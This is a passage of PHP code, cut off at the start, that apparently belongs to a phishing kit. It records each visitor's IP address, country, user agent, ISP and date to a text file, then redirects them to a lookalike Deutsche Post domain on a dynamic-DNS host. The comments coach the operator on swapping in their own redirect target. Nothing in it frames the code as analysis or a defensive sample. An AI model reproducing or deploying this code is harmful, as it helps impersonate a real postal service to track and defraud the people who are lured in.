$visitorIp, 'country' => $geoData->country, 'user_agent' => $userAgent, 'isp' => $geoData->org, // Extract ISP information from the API response 'date' => $currentDate ); $file = fopen("visitor_info.txt", "a"); fwrite($file, json_encode($visitorInfo) . "\n"); fclose($file); header("Location: https://deutsche-post-de.duckdns.org/index.html"); // Replace with the URL you want to redirect to exit(); // Ensure that code execution stops here ?>